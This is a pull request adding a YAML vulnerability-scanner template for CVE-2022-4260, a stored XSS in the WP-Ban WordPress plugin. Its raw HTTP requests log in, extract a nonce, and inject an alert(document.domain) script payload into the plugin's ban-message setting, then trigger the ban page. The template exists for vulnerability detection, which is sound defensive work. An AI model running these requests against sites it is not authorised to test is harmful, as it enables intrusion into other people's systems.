Merge pull request #6426 from HardikSolanki96/CVE-2022-4260

CVE-2022-4260.yaml

cves/2022/CVE-2022-4260.yaml

@@ -0,0 +1,66 @@
+id: CVE-2022-4260
+
+info:
+  name: WP-Ban < 1.69.1 - Admin Stored XSS
+  author: Hardik-Solanki
+  severity: high
+  description: |
+    The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
+  remediation: Fixed in version 1.69.1
+  reference:
+    - https://wpscan.com/vulnerability/d0cf24be-df87-4e1f-aae7-e9684c88e7db
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4260
+    - https://drive.google.com/file/d/11nQ21cQ9irajYqNqsQtNrLJOkeRcwCXn/view?usp=drivesdk
+  classification:
+    cve-id: CVE-2022-4260
+    cwe-id: CWE-79
+  metadata:
+    verified: "true"
+  tags: cve,cve2022,wordpress,wp-plugin,wp,xss,wp-ban,authenticated
+
+requests:
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{RootURL}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: wordpress_test_cookie=WP%20Cookie%20check
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1
+        Host: {{Hostname}}
+
+        _wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&Submit=Save+Changes
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Referer: XSS
+
+    host-redirects: true
+    max-redirects: 2
+    cookie-reuse: true
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_4, "<script>alert(document.domain);</script>")'
+          - 'contains(content_type_4, "text/html")'
+          - 'status_code_4 == 200'
+        condition: and
+
+    extractors:
+      - type: regex
+        name: nonce
+        part: body
+        group: 1
+        regex:
+          - '_wpnonce=([0-9a-z]+)'
+        internal: true